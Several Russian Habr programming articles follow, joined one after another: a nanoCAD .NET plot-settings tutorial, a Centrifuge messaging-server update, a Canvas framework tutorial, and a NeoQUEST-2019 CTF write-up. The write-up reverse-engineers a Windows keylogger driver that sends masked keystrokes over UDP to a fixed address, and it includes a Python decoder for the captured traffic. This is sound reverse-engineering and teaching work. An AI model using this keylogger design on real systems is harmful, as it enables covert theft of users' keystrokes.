comDoc.PlotConfigurations.Add("NewModelSpaceConfig",true);
// Добавление нового набора параметров к листам документа
OdaX.IAcadPlotConfiguration plotConfig1 =
comDoc.PlotConfigurations.Add("NewLayoutConfig",false);
```
Здесь мы обращаемся к коллекции `PlotConfigurations`, о которой говорилось выше, и используем один из ее методов.
Метод `Add()` принимает два параметра:
1. `Name` – имя нового набора параметров в виде строки. Необходимо помнить, что nanoCAD не позволит создать наборы параметров листов для пространства модели и для листа с одинаковыми именами. Набор параметров листов, созданный для пространства модели не будет доступен для листов и наоборот;
2. `ModelType` – тип набора параметров листа в виде значения `bool`: `true` - набор параметров для пространства модели; `false` - набор параметров для листов.
В чем разница между набором параметров для пространства модели и листа? Фактически только значением свойства `ModelType`. Но на практике есть и более глубокие различия (например, когда устанавливается область печати: для пространства модели свой набор возможных областей печати, для листа – свой).
Также стоит обратить внимание, что в коллекции `PlotConfigurations` наборы параметров расположены в алфавитном порядке по имени набора.
Кроме метода `Add()` , в коллекции `PlotConfigurations` доступны другие методы, позволяющие:
* обращаться к конкретному набору параметров через метод `Item()` , который в качестве параметра принимает порядковый номер набора в коллекции: `comDoc.PlotConfigurations.Item(0)`;
* удалить набор параметров из коллекции. Для этого нужно сначала получить к нему доступ методом `Item()` и после этого воспользоваться методом `Delete()`: `comDoc.PlotConfigurations.Item(0).Delete()`;
* очистить коллекцию `PlotConfigurations` методом Delete(): `comDoc.PlotConfigurations.Delete()`.
**Шаг 5.** **Изменяем значения некоторых параметров** в первом созданном наборе параметров:
```
// Добавление принтера в созданный набор параметров печати
plotConfig.ConfigName = plotConfig.GetPlotDeviceNames()[1];
// Получение списка форматов бумаги, доступных для выбранного принтера и
// добавление формата бумаги в созданный набор параметров печати
plotConfig.CanonicalMediaName =
plotConfig.GetCanonicalMediaNames()[1];
```
Здесь вы можете видеть пример получения перечня принтеров и форматов бумаги, доступных для документа, а также изменения значений параметров, отвечающих за принтер и формат бумаги.
У читателя наверняка возникнет вопрос, какие еще параметры можно настроить и как это сделать. Для справки пробежимся по основным параметрам набора, которые мы можем менять через API в параллели с настройкой тех же параметров через интерфейс:
1. **Имя набора параметров листа:** задается при создании набора в методе `Add()`. Впоследствии изменить это имя через интерфейс не получится, а поменять его через API можно: `plotConfig.Name = "NewName";`
2. **Принтер:** задается свойством `plotConfig.ConfigName`. Название принтера для этого свойства получаем методом `plotConfig.GetPlotDeviceNames()`, который возвращает массив строк.
3. **Формат бумаги:** задается свойством `plotConfig.CanonicalMediaName` . Наименование формата бумаги для этого свойства получаем методом `plotConfig.GetCanonicalMediaNames()`, который возвращает массив строк.
4. **Область печати:** задается свойством `plotConfig.PlotType`. Область печати для этого свойства берем из перечисления `OdaX.AcPlotType` .
5. **Ориентация чертежа на листе:** задается свойством `plotConfig.PlotRotation`. Угол поворота для этого свойства берем из перечисления `OdaX.AcPlotRotation`.
6. **Положение левого нижнего угла чертежа относительно левого нижнего угла границы листа:** задается свойством `plotConfig.PlotOrigin`. В свойство нужно передать массив double с координатами X и Y.
7. **Масштаб печати чертежа:** задается свойством `plotConfig.StandardScale`. Значение масштаба для свойства берем из перечисления `OdaX.AcPlotScale`. Также можно установить пользовательский масштаб методом `plotConfig.SetCustomScale(double Numerator, double Denominator)`.
8. **Стиль печати:** задается свойством `plotConfig.StyleSheet`. Стиль печати для свойства берем из массива строк, возвращаемого методом `plotConfig.GetPlotStyleTableNames()`.
9. **«Учитывать веса линий»:** задается свойством `plotConfig.PlotWithLineweights`. Переменная логического типа данных: при значении `true` веса линий будут учитываться, при значении `false` – нет.
10. **«Учитывать стили печати»:** задается свойством `plotConfig.PlotWithPlotStyles`. Переменная логического типа данных: при значении `true` назначенный стиль печати будет учтен, при значении `false` – нет.
11. **«Объекты листа последними»:** задается свойством `plotConfig.PlotViewportsFirst`. Переменная логического типа данных: при значении `true` объекты листа будут отображены на заднем фоне, при значении `false` – нет.
12. **«Скрывать объекты листа»:** задается свойством `plotConfig.PlotHidden`. Переменная логического типа данных: при значении `true` объекты листа будут скрыты, при значении `false` – нет.
13. **«Масштабировать веса линий»:** задается свойством `plotConfig.ScaleLineweights`. Переменная логического типа данных: при значении `true` веса линий будут отмасштабированы, при значении `false` – нет.
Последние три пункта списка предназначены только для листов – в пространстве модели изменение этих свойств через API не будет влиять на конечный результат, а через интерфейс в настройках параметров печати пространства модели их изменить невозможно.
**Шаг 6. Копируем набор параметров листов из другого документа nanoCAD** во второй созданный набор «NewLayoutConfig».
В приведенном примере копируется набор параметров листов с названием «LayoutPlotConfig» из документа nanoCAD *nanoCAD\_configs.dwg*, расположенного в директории *C:\Work*.
В копируемом наборе задано два параметра:
* Принтер: Microsoft XPS Document Writer;
* Формат бумаги: Конверт №14, ориентация Книжная
```
// Получение ссылки на документ, в котором сохранены нужные нам наборы
// параметров листов
HostMgd.ApplicationServices.Document docToCopy =
HostMgd.ApplicationServices.Application.DocumentManager.
Open("C:\\Work\\nanoCAD_configs.dwg", true);
nanoCAD.Document comDocToCopy = docToCopy.AcadDocument as nanoCAD.Document;
// Получение ссылки на набор параметров листа, который нужно скопировать
OdaX.IAcadPlotConfiguration configToCopy =
comDocToCopy.PlotConfigurations.Item(0);
// Копируем набор параметров листа из одного документа в другой
plotConfig1.CopyFrom((OdaX.AcadPlotConfiguration)configToCopy);
// Закрываем документ, из которого копировали набор параметров листа
docToCopy.CloseAndDiscard();
```
Здесь основное действие выполняет метод `CopyFrom()`, который принимает один параметр типа `OdaX.AcadPlotConfiguration` – набор параметров листов.
**Шаг 7. Изменяем текущий набор параметров для листов документа nanoCAD** на добавленные нами наборы параметров.
```
//Делаем добавленные нами наборы параметров листов текущими для всех листов
foreach(OdaX.IAcadLayout layout in comDoc.Layouts)
{
if (layout.ModelType) layout.
CopyFrom((OdaX.AcadPlotConfiguration)plotConfig);
if (!layout.ModelType) layout.
CopyFrom((OdaX.AcadPlotConfiguration)plotConfig1);
}
```
И это был последний пункт из перечня функций, которые должно выполнять наше приложение.
Полный текст программы .NET, которая в nanoCAD будет представлять собой команду AddPlotConfiguration
```
public partial class Commands
{
[Teigha.Runtime.CommandMethod("AddPlotConfiguration")]
public void AddPlotConfiguration()
{
// Получение ссылки на активный документ
HostMgd.ApplicationServices.Document doc = HostMgd.ApplicationServices.Application.DocumentManager.MdiActiveDocument;
nanoCAD.Document comDoc = doc.AcadDocument as nanoCAD.Document;
// Получение ссылки на редактор активного документа
HostMgd.EditorInput.Editor ed = doc.Editor;
// Добавление нового набора параметров печати к пространству модели документа
OdaX.IAcadPlotConfiguration plotConfig =
comDoc.PlotConfigurations.Add("NewModelSpaceConfig",true);
// Добавление нового набора параметров печати к листам документа
OdaX.IAcadPlotConfiguration plotConfig1 =
comDoc.PlotConfigurations.Add("NewLayoutConfig", false);
// Вывод в консоль nanoCAD наименований наборов параметров печати документа
ed.WriteMessage("Наборы параметров листов документа '{0}' до изменения их параметров:", doc.Name);
foreach (var pc in comDoc.PlotConfigurations)
{
OdaX.IAcadPlotConfiguration config = pc as OdaX.IAcadPlotConfiguration;
ed.WriteMessage("{0}:{1},{2},{3}", config.Name, config.ConfigName, config.CanonicalMediaName,config.PlotType);
}
ed.WriteMessage("");
// Добавление принтера в созданный набор параметров печати
plotConfig.ConfigName = plotConfig.GetPlotDeviceNames()[1];
// Получение списка форматов бумаги, доступных для выбранного принтера и
// добавление формата бумаги в созданный набор параметров печати
plotConfig.CanonicalMediaName =
plotConfig.GetCanonicalMediaNames()[1];
// Получение ссылки на документ, в котором сохранены нужные нам наборы
// параметров листов
HostMgd.ApplicationServices.Document docToCopy =
HostMgd.ApplicationServices.Application.DocumentManager.
Open("C:\\Work\\nanoCAD_configs.dwg", true);
nanoCAD.Document comDocToCopy =
docToCopy.AcadDocument as nanoCAD.Document;
// Получение ссылки на набор параметров листа, который нужно скопировать
OdaX.IAcadPlotConfiguration configToCopy =
comDocToCopy.PlotConfigurations.Item(0);
// Копируем набор параметров листа из одного документа в другой
plotConfig1.CopyFrom((OdaX.AcadPlotConfiguration)configToCopy);
// Закрываем документ, из которого копировали набор параметров листа
docToCopy.CloseAndDiscard();
//Вывод в консоль nanoCAD наборов параметров листа документа
ed.WriteMessage("Наборы параметров листов документа '{0}' " +
"после изменения их параметров:", doc.Name);
foreach (var pc in comDoc.PlotConfigurations)
{
OdaX.IAcadPlotConfiguration config =
pc as OdaX.IAcadPlotConfiguration;
ed.WriteMessage("{0}:{1},{2}",
config.Name, config.ConfigName, config.CanonicalMediaName);
}
//Делаем добавленные нами наборы параметров листов
//текущими для всех листов
foreach(OdaX.IAcadLayout layout in comDoc.Layouts)
{
if (layout.ModelType) layout.
CopyFrom((OdaX.AcadPlotConfiguration)plotConfig);
if (!layout.ModelType) layout.
CopyFrom((OdaX.AcadPlotConfiguration)plotConfig1);
}
ed.WriteMessage("Команда успешно выполнена!");
}
}
```
**Шаг 8. Компилируем наше приложение и загружаем в nanoCAD.**
После запуска команды *AddPlotConfiguration* мы увидим в консоли следующие сообщения:
Ролик по загрузке dll-файла в nanoCAD и запуску команды "AddPlotConfiguration"Первый раз содержимое коллекции `PlotConfigurations` было выведено в консоль сразу после добавления в нее новых элементов.
Во второй раз содержимое коллекции выведено в консоль после изменения параметров в первой добавленной конфигурации и копирования во вторую добавленную конфигурацию значений параметров из другого документа. Следует обратить внимание на то, что методом `CopyFrom()` скопировалось также и название набора параметров.
Ради интереса можно проверить через пользовательский интерфейс nanoCAD изменения в окне *Диспетчер параметров листов*. Должна быть следующая картина:
Окно "Диспетчер параметров листов" для пространства моделиОкно "Диспетчер параметров листов" для листа А4Итак, в этой статье мы подробно разобрали процесс создания .NET приложения, которое добавляет наборы параметров листов в документ nanoCAD, меняет в них параметры и копирует значения параметров из другого документа nanoCAD. Попутно был приведен пример получения переченя доступных принтеров и форматов бумаги и приведен перечень остальных параметров набора, доступных для настройки печати. В следующей статье научимся изменять настройки печати активного листа документа nanoCAD.
***Светлана Мирончик,
Клуб разработчиков nanoCAD
ООО «Нанософт разработка»*** | https://habr.com/ru/post/565514/ | null | ru | null |
# Погружение в драйвер: общий принцип реверса на примере задания NeoQUEST-2019
Как и все программисты, ты любишь код. Вы с ним — лучшие друзья. Но рано или поздно в жизни наступит такой момент, когда кода с тобой не будет. Да, в это сложно поверить, но между вами будет огромная пропасть: ты снаружи, а он — глубоко внутри. От безысходности тебе, как и всем, придется перейти на другую сторону. На сторону обратной разработки.
На примере задания №2 из online-этапа [NeoQUEST-2019](https://neoquest.ru/timeline.php?year=2019&part=1) разберем общий принцип реверса драйвера Windows. Конечно, пример является довольно упрощенным, но суть процесса от этого не меняется — вопрос только в объеме кода, который нужно просмотреть. Вооружившись опытом и удачей, приступим!
Дано
----
По легенде нам выданы два файла: дамп трафика и бинарный файл, который этот самый трафик и генерировал. Взглянем сначала на дамп с помощью Wireshark:
В дампе находится поток UDP-пакетов, каждый из которых содержит 6 байт данных. Эти данные, на первый взгляд, представляют собой какой-то случайный набор байт — что-либо вытащить из трафика не представляется возможным. Поэтому переключим свое внимание на бинарь, который должен подсказать, как все расшифровать.
Откроем его в IDA:
Похоже, что перед нами какой-то драйвер. Функции с префиксом WSK относятся к Winsock Kernel – сетевому программному интерфейсу режима ядра Windows. На MSDN можно [посмотреть](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wsk/) описание структур и функций, используемых в WSK.
Для удобства можно загрузить в IDA библиотеку Windows Driver Kit 8 (kernel mode) – wdk8\_km (или любую более новую), чтобы использовать определенные там типы:
Осторожно, реверс!
------------------
Как всегда, начинаем с точки входа:
Пойдем по порядку. Сначала производится инициализация Wsk, создается и биндится сокет – подробно описывать данные функции не будем, они не несут никакой полезной для нас информации.
Функция sub\_140001608 устанавливает 4 глобальные переменные. Назовем ее InitVars. В одну из них записывается значение, лежащее по адресу 0xFFFFF78000000320. Немного погуглив данный адрес, можно сделать предположение, что по нему записано количество тиков системного таймера с момента загрузки системы. Пока что назовем переменную TickCount.
Далее в EntryPoint устанавливаются функции для обработки IRP-пакетов (I/O Request Packet). Подробнее про них можно [почитать](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-major-function-codes) на MSDN. Для всех типов запросов определяется функция, которая просто передает пакет следующему драйверу в стеке.
А вот для типа IRP\_MJ\_READ (3) определена отдельная функция; назовем ее IrpRead.
В ней, в свою очередь, устанавливается CompletionRoutine.
CompletionRoutine заполняет неизвестную структуру данными, полученными из IRP, и помещает ее в список. Пока что нам неизвестно, что находится внутри пакета — вернемся к этой функции позже.
Смотрим дальше в EntryPoint. После определения обработчиков IRP, происходит вызов функции sub\_1400012F8. Заглянем внутрь и сразу заметим, что в ней создается девайс (IoCreateDevice).
Назовем функцию AddDevice. Если правильно привести типы, то мы увидим, что имя девайса – "\\Device\\KeyboardClass0". Значит, наш драйвер взаимодействует с клавиатурой. Погуглив про IRP\_MJ\_READ в контексте клавиатуры, можно [найти](https://msdn.microsoft.com/en-us/library/windows/hardware/ff542213(v=vs.85).aspx), что в пакетах передается структура KEYBOARD\_INPUT\_DATA. Вернемся к CompletionRoutine и посмотрим, что за данные она передает.
IDA здесь плохо парсит структуру, но по смещениям и дальнейшим вызовам можно понять, что она состоит из ListEntry, KeyData (здесь хранится скан-код клавиши) и KeyFlags.
После AddDevice в EntryPoint вызывается функция sub\_140001274. Она создает новый поток.
Посмотрим, что происходит в ThreadFunc.
Она получает значение из списка и обрабатывает их. Сразу обратим внимание на функцию sub\_140001A18.
Она передает обработанные данные на вход функции sub\_140001A68, вместе с указателем на WskSocket и числом 0x89E0FEA928230002. Разобрав число-параметр по байтам (0x89 = 137, 0xE0 = 224, 0xFE = 243, 0xA9 = 169, 0x2328 = 9000), мы получим как раз те самые адрес и порт из дампа трафика: 169.243.224.137:9000. Логично предположить, что эта функция отправляет сетевой пакет на указанный адрес и порт — рассматривать подробно ее не будем.
Разберемся, каким образом обрабатываются данные перед отправкой.
Для первых двух элементов выполняют эквиваленцию со сгенерированным значением. Так как для вычисления используется количество тиков, то можно предположить, что перед нами генерация псевдослучайного числа.
После генерации числа оно перезаписывает собой значение переменной, ранее названной нами TickCount. Переменные для формулы задаются в InitVars. Если мы вернемся к вызову этой функции, то узнаем значения для этих переменных, и в итоге получим следующую формулу:
***(54773 + 7141 \* prev\_value) % 259200***
Это линейный конгруэнтный [генератор псевдослучайных чисел](https://en.wikipedia.org/wiki/Linear_congruential_generator). Он инициализируется в InitVars с использованием TickCount. Для каждого последующего числа в качестве исходного значения выступает предыдущее (причем генератор возвращает двухбайтовое значение, и такое же используется для последующей генерации).
После эквиваленции со случайным числом двух значений, переданных от клавиатуры, вызывается функция, формирующая оставшиеся два байта сообщения. Она просто производит *xor* двух уже зашифрованных параметров и некоего константного значения. Это врядли позволит как-то расшифровать данные, поэтому последние два байта сообщения для нас не несут какой-либо полезной информации, и их можно не рассматривать. Но что делать с зашифрованными данными?
Давайте внимательнее посмотрим на то, что именно шифруется. KeyData – это скан-код, может принимать довольно широкий диапазон значений, угадать его не просто. А вот [KeyFlags](https://docs.microsoft.com/ru-ru/windows/desktop/api/ntddkbd/ns-ntddkbd-_keyboard_input_data) представляет собой битовое поле:
Если посмотреть [таблицу](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BD-%D0%BA%D0%BE%D0%B4) скан-кодов, то можно заметить, что чаще всего флаг будет либо 0 (клавиша опущена), либо 1 (клавиша поднята). KEY\_E0 будет выставлен достаточно редко, но может попадаться, а вот встретить KEY\_E1 шансы очень малы. Поэтому можно попробовать сделать следующее: проходим по данным из дампа, выбираем значение, которое является зашифрованным KeyFlags, производим эквиваленцию с 0, генерируем два следующих друг за другом ПСЧ. Во-первых, KeyData представляет собой один байт, и мы можем проверить правильность сгенерированного ПСЧ по старшему байту. А во-вторых, следующий зашифрованный KeyFlags, при произведении эквиваленции с правильным ПСЧ, будет принимать те же самые значения бит. Если же это оказалось не так, то мы принимаем, что KeyFlags, который мы изначально рассматривали, был равен 1, и т.д.
Попробуем реализовать наш алгоритм. Для этого воспользуемся python:
**Реализация алгоритма**
```
# соответствие скан-кодов и клавиш
keymap = […]
# данные, полученные из Wireshark
traffic_dump = […]
# эквиваленция
def bxnor(a, b):
return ((~a & 0xffff) | b) & (a | (~b & 0xffff))
# генерация ПСЧ
def brgen(a):
return ((7141 * a + 54773) % 259200) & 0xffff
def decode():
# проходим по всему дампу
for i in range(0, len(traffic_dump) - 1):
# берем зашифрованный KeyFlags
probe = traffic_dump[i][1]
# берем зашифрованный скан-код
scancode = traffic_dump[i+1][0]
# берем следующий зашифрованный KeyFlags
tester = traffic_dump[i+1][1]
fail = True
# пробегаем по возможным значениям (не рассматривая KEY_E1)
for flag in range(4):
rnd_flag = bxnor(flag, probe)
rnd_sc = brgen(rnd_flag)
next_flag = bxnor(tester, brgen(rnd_sc))
# проверяем следующий KeyFlags
if next_flag in range(4):
sc = bxnor(rnd_sc, scancode)
if sc < len(keymap):
sym = keymap[sc]
if next_flag % 2 == 0:
print(sym, end='')
fail = False
break
# если на каком-то этапе ни один из вариантов KeyFlags не сработал
if fail:
print('Something went wrong on {} pair'.format(i))
return
print()
if __name__ == "__main__":
decode()
```
Запустим наш скрипт на полученных из дампа данных:
И в расшифрованном трафике обнаруживаем нашу самую желанную строчку!
***NQ2019DABE17518674F97DBA393415E9727982FC52C202549E6C1740BC0933C694B3DE***
В скором времени выйдут статьи с разборами остальных заданий, не пропустите!
P.S. А мы напоминаем, что всем, кто прошел полностью хотя бы одно задание на NeoQUEST-2019, полагается приз! Проверяйте почту на наличие письма, а если вдруг оно вам не пришло — пишите на **support@neoquest.ru**! | https://habr.com/ru/post/446462/ | null | ru | null |
# Centrifuge набирает обороты
 Привет!
Пару месяцев назад я [опубликовал](http://habrahabr.ru/post/184262/) на Хабре статью, посвященную описанию open-source проекта [Centrifuge](https://github.com/FZambia/centrifuge). Напомню, что это сервер рассылки сообщений подключенным клиентам (в основном из веб-браузера) в реальном времени. Написан на Python.
С тех пор я продолжал работать над проектом в свободное время и сейчас готов поделиться накопившимися мыслями и изменениями.
Изначально, Центрифуга была самобытным проектом. Не сильно заботясь о воспроизведении функционала существующих аналогов, я писал код так, как казалось правильным мне самому. В итоге сообщения клиентам доставлялись, всё работало, но! Было ли удобно всем этим пользоваться? Нет!
В конце июня я наткнулся на великолепную статью от [Serge Koval](https://github.com/mrjoes) — [Python and real-time Web](http://mrjoes.github.io/2013/06/21/python-realtime.html). Удивительно, но на тот момент я не знал о существовании [Faye](http://faye.jcoglan.com/). Статья открыла мне этот замечательный проект, как и понимание того факта, что все-таки Центрифуга в своем текущем состоянии не сильно упрощает жизнь при разработке real-time веб-приложений.
С того времени я допиливал Центрифугу с прицелом на удобство использования и с оглядкой на [pusher.com](http://pusher.com), [pubnub.com](http://pubnub.com) и Faye.
Вопрос, зачем мне нужно было писать код с нуля, если уже существуют более матерые и продвинутые аналоги, неизбежен. Вот несколько причин:
* Это интересно. В проекте на данный момент используются Tornado, ZeroMQ, Redis, SockJS, Bootstrap 3. Прекрасные инструменты, работать с которыми — безграничное счастье.
* Pusher.com и Pubnub.com — облачные сервисы, не всегда возможно/есть\_смысл/хочется полагаться на третью сторону. Невозможно внести изменения в серверную часть.
* Аналогов на Python я так и не нашел (может быть вы знаете?), бэкенд Faye — это Ruby или NodeJS. Чтобы сделать авторизацию подписки в канал нужно писать расширения на этих языках. Я же хотел создать более независимое от языка бэкенда веб-приложения решение, предоставляющее необходимый функционал из коробки.
* Некоторые особенности, которых нет в аналогах. Это наличие пространств имен, определяющих особенности поведения принадлежащих им каналов. Веб-интерфейс для управления проектами, их настройками и возможностью в реальном времени следить за сообщениями в каналах.
Теперь расскажу об изменениях, произошедших с момента написания предыдущей статьи о Центрифуге.
Структура — проекты, пространства имен и их настройки — теперь по умолчанию будут храниться в SQLite — базе данных, входящей в стандартную библиотеку Python. Поэтому при запуске процессов Центрифуги на одной машине больше нет необходимости в установке PostgreSQL или MongoDB, как было ранее. Так как Центрифуга рассчитана на использование в небольших и средних проектах — я считаю, это важное и нужное изменение, так как одной машины должно хватить сполна.
Можно пойти чуть дальше — и запустить Центрифугу со структурой, описанной в конфигурационном файле. При этом теряется возможность динамически вносить и сохранять изменения из веб-интерфейса, но зато нет никаких зависимостей от внешнего хранилища. Данная возможность также чрезвычайно помогает при разработке.
Появилась поддержка presence и history — теперь можно узнать, кто в данный момент подключен к каналу, а также получить последние сообщения, отправленные в канал. Для хранения этих данных используется Redis. Если Redis не настроен — данные просто не будут доступны клиентам, ничего при этом не сломается.
Возникает вопрос. Сейчас Центрифуга использует ZeroMQ PUB/SUB сокеты для коммуникации между несколькими своими процессами. Быть может, раз в игру вступил Redis в качестве хранилища информации о подключенных клиентах и истории сообщений, то стоит использовать его PUB/SUB возможности и для коммуникации между процессами Центрифуги вместо ZeroMQ? В том [единственном сравнительном бенчмарке](http://blog.jupo.org/2013/02/23/a-tale-of-two-queues/), который я видел, ZeroMQ по производительности опережает Redis.
Поэтому на данный момент я оставил все как есть. Однако это спорный и важный момент.
Еще теперь можно получать сообщения о подключении(отключении) клиента к каналу (от канала). Приятный пустячок.
Наконец, самое, пожалуй, важное — появился javascript-клиент — обертка над протоколом Центрифуги. Он построен на основе [Event Emitter](https://github.com/Wolfy87/EventEmitter), написанного Оливером Калдвеллом ([Oliver Caldwell](https://github.com/Wolfy87)). Теперь взаимодействовать с Центрифугой из браузера очень просто. Примерно вот так:
> var centrifuge = new Centrifuge({
>
> // настройки аутентификации
>
> });
>
>
>
> centrifuge.on('connect', function() {
>
> // соединение с Центрифугой установлено
>
>
>
> var subscription = centrifuge.subscribe('python:django', function(message) {
>
> // функция, вызываемая при получении нового сообщения из канала
>
> });
>
>
>
> subscription.on(‘ready’, function() {
>
> subscription.presence(function(message) {
>
> // получена информация о подключенных к каналу клиентах
>
> });
>
> subscription.history(function(message) {
>
> // история последних сообщений канала
>
> });
>
> subscription.on('join', function(message) {
>
> // вызывается, когда новый клиент подключается к каналу
>
> });
>
> subscription.on('leave', function(message) {
>
> // вызывается когда клиент отключается от канала
>
> });
>
> });
>
>
>
> });
>
>
>
> centrifuge.on('disconnect', function(){
>
> // соединение с Центрифугой потеряно
>
> });
>
>
>
> centrifuge.connect();
За бортом в этом примере остались настройки аутентификации (о них можно [прочитать в документации](https://centrifuge.readthedocs.org/en/latest/content/client_api.html)). Также обратите внимание на название канала — оно состоит из имени пространства имен, которое должно быть создано в административном интерфейсе до подключения, в данном случае это `python`. Непосредственно имя канала указывается после — в данном случае это `django`. Пространство имен определяет настройки всех принадлежащих ему каналов. В настройках проекта можно выбрать пространство имен по умолчанию — тогда в javascript-коде можно не указывать явно название пространства имен. То есть, в случае если пространство имен python является дефолтным для проекта, можно писать вот так:
> centrifuge.on('connect', function() {
>
> var subscription = centrifuge.subscribe('django', function(message) {
>
> console.log(message);
>
> });
>
> });
>
>
Авторизация в такого рода приложениях, пожалуй, самая сложная часть. Как я уже упоминал, в Faye нужно писать расширения на NodeJS или Ruby для защиты доступа к определенным каналам. Pusher.com для приватных каналов предлагает следующую схему:
При попытке подписаться на приватный канал, отправляется AJAX запрос на бэкенд вашего приложения с именем канала. В случае, если доступ разрешен, вы должны вернуть подписанный ответ, который в дальнейшем вместе с именем канала отправляется непосредственно в Pusher. Преимущество здесь в том, что ваше приложение на момент получения AJAX-запроса в большинстве случаев уже содержит объект текущего пользователя (например, в Django это `request.user`).
В Центрифуге применяется немного иной подход. Идентификатор текущего пользователя отправляется один раз в момент подключения — его вы указываете при конфигурации javascript-клиента вместе с ID проекта и токеном. Токен — это [HMAC](http://docs.python.org/2/library/hmac.html), сгенерированный на основе секретного ключа проекта (о котором должен знать только бэкенд вашего приложения), ID проекта и ID пользователя. Токен необходим для проверки корректности переданных ID проекта и ID юзера. В дальнейшем при подписке на приватные каналы Центрифуга будет отправлять POST запрос вашему приложению со строковыми ID юзера, именем пространства имен и именем канала. Поэтому первым делом в функции-обработчике авторизации вам нужно будет получить объект своего пользователя по ID.
Еще один важный момент, касающийся авторизации — сейчас, чтобы подписаться на несколько каналов приходится несколько раз вызывать функцию `subscribe` на клиентской стороне. Если каналы приватные, то каждая такая подписка будет приводить к POST запросу к вашему приложению. Не оптимизированное поведение, которое хотелось бы улучшить. Но тот же pusher.com, признавая, что такие случаи хоть и редки, но бывают среди требований их клиентов, пока [в полной мере эту проблему не решил](http://pusher.tenderapp.com/discussions/requests/13-connect-to-and-auth-with-multiple-channels-at-once). Здесь я пока в поиске правильного пути решения.
Хотелось бы отметить еще один способ защиты приватных данных, который никто не отменял. Например, чтобы сделать отдельные приватные каналы для каждого пользователя приложения — можно генерировать трудно угадываемые имена каналов на основе какого-либо секретного ключа и ID пользователя. В таком случае вполне можно обходиться без дополнительной авторизации, по крайней мере до тех пор, пока вашим клиентам не выгодно делиться именами своих приватных каналов:)
Есть возможность добавить кастомную асинхронную функцию (обрамленную tornado-декоратором `@coroutine`) перед публикацией сообщения в канал. Внутри этой функции можно делать с сообщением все что угодно, в том числе вернуть None и тем самым отменить публикацию сообщения. Но, пожалуй, это мало кому пригодится, как и аналогичная возможность добавить обработчик, вызываемый после публикации. Это достаточно низкоуровневое вмешательство и требует знания Python и Tornado.
Установка Центрифуги в самом простом случае сводится к одной команде `pip install centrifuge` внутри virtualenv. Однако на машине должен быть установлен ZeroMQ (libzmq3) и dev-пакет для PostgreSQL (сам PostgreSQL сервер необязателен). Найденные проблемы, которые могут возникнуть при установке из PYPI, и способ их решения [описаны в документации](https://centrifuge.readthedocs.org/en/latest/content/install.html#install-centrifuge). Запуск одного процесса выполняется командой `centrifuge`. Однако для запуска в боевую среду потребуется конфигурационный файл, так как в нем содержатся важные настройки безопасности. Также не обойтись без использования дополнительных опций командной строки, если вы хотите запустить несколько процессов.
[Вот в этом разделе документации](https://centrifuge.readthedocs.org/en/latest/content/overview.html#how-it-works) я постарался как можно подробней объяснить как работает Центрифуга, какие есть опции запуска, какой адрес указывать при подключении из браузера и многое другое. На английском, правда.
Нагрузочное тестирование пока не проводил. Надеюсь, займусь бенчмарками в ближайшее время. Интересно сравнить с Faye, интересно запустить на PYPY. Ну и, конечно, необходимо продолжать работу над устойчивостью к всевозможным ошибкам, совершенствовать Python-код и javascript-клиент и так далее. Присоединяйтесь!
Спасибо за внимание! | https://habr.com/ru/post/194640/ | null | ru | null |
# Создание фреймворка для Canvas: объекты и мышь
Среди [вопросов на счёт Canvas](http://habrahabr.ru/blogs/canvas/119772/) чаще всего звучали вопросы по внутренностям фреймворков — как понять, что мышка находится над элементом, как это реализовано в фреймворках. В топике мы реализуем подобный Canvas фреймворк на базе [AtomJS](https://github.com/theshock/atomjs).
Глобальный интерфейс
--------------------
Для начала придумаем интерфейс нашего фреймворка. Назовём его Canvas Framework, сокращённо — CF. Это будет глобальная переменная-фабрика для создания инстанса.
Первым аргументом мы будем передавать в неё ссылку на нужный элемент:
```
var cf = new CF('#my-canvas');
```
Реализация — простая:
```
window.CF = atom.Class({
initialize: function (canvas) {
this.canvas = atom.dom( canvas ).first;
this.ctx = this.canvas.getContext('2d');
}
});
```
Затем мы можем создавать объекты, при помощи этой сущности:
```
cf.circle([50, 50, 10] , { fill: 'red' , hover : { fill: 'blue' } });
cf.rect ([10, 10, 20, 20], { fill: 'green', hover : { fill: 'blue' } });
```
Для простоты все объекты у нас будут тягаться и слушать события мыши.
Реализация фигур
----------------
Теперь нам необходимо определить базовый класс фигуры.
```
// Абстрактный класс фигур
var Shape = atom.Class({
Implements: [ atom.Class.Events, atom.Class.Options ],
cf : null,
data : null,
hover: false,
path: atom.Class.abstractMethod,
initialize: function (data, options) {
this.data = data;
this.setOptions( options );
},
hasPoint: function (x, y) {
var ctx = this.cf.emptyCanvas.ctx;
this.path( ctx );
return ctx.isPointInPath(x, y);
},
draw: function () {
var ctx = this.cf.ctx, o = this.options;
this.path( ctx );
ctx.save();
ctx.fillStyle = this.hover ? o.hover.fill : o.fill;
ctx.fill();
ctx.restore();
}
});
```
Вы видите, что нам понадобится некий emptyCanvas — это будет скрытый Canvas, в который мы будем отрисовывать наши пути, чтобы не нарушать пути «боевого» холста. Обновим конструктор CF:
```
window.CF = atom.Class({
initialize: function (canvas) {
[...]
this.emptyCanvas = atom.dom.create( 'canvas', { width: 1, height: 1 }).first;
this.emptyCanvas.ctx = this.emptyCanvas.getContext('2d');
}
});
```
Каждая наследующая фигура должна будет только реализовать метод path. Давайте добавим пару фигур — Rectangle и Circle
```
// circle.data == [x, y, radius]
var Circle = atom.Class({
Extends: Shape,
path: function (ctx) {
ctx.beginPath();
ctx.arc( this.data[0], this.data[1], this.data[2], 0, Math.PI * 2, false );
ctx.closePath();
}
});
var Rect = atom.Class({
Extends: Shape,
path: function (ctx) {
ctx.beginPath();
ctx.rect.apply( ctx, this.data );
ctx.closePath();
}
});
```
Следующее, что нам необходимо сделать — это реализовать Mouse. Мы подпишемся на событие mousemove элемента Canvas и будем запоминать положение курсора. Мышь будет получать элементы Shape, которые будет проверять, менять им hover и вызывать у них евенты mousedown и mouseup. Вы можете видеть, что мы столкнулись с лёгкой некроссбраузерностью — код layerX/Y нету в Опере и там необходимо использовать offsetX/Y. Не критично, но, главное, знать об этом)
```
var Mouse = atom.Class({
x: 0,
y: 0,
initialize: function (canvas) {
this.elements = [];
canvas.bind({
mousemove: this.move.bind(this),
mousedown: this.fire.bind(this, 'mousedown'),
mouseup: this.fire.bind(this, 'mouseup' )
});
},
add: function (element) {
this.elements.push( element );
},
move: function (e) {
// Мы воспользуемся layer*, но на практике нужен более надёжный способ
if (e.layerX == null) { // opera
this.x = e.offsetX;
this.y = e.offsetY;
} else { // fx, chrome
this.x = e.layerX;
this.y = e.layerY;
}
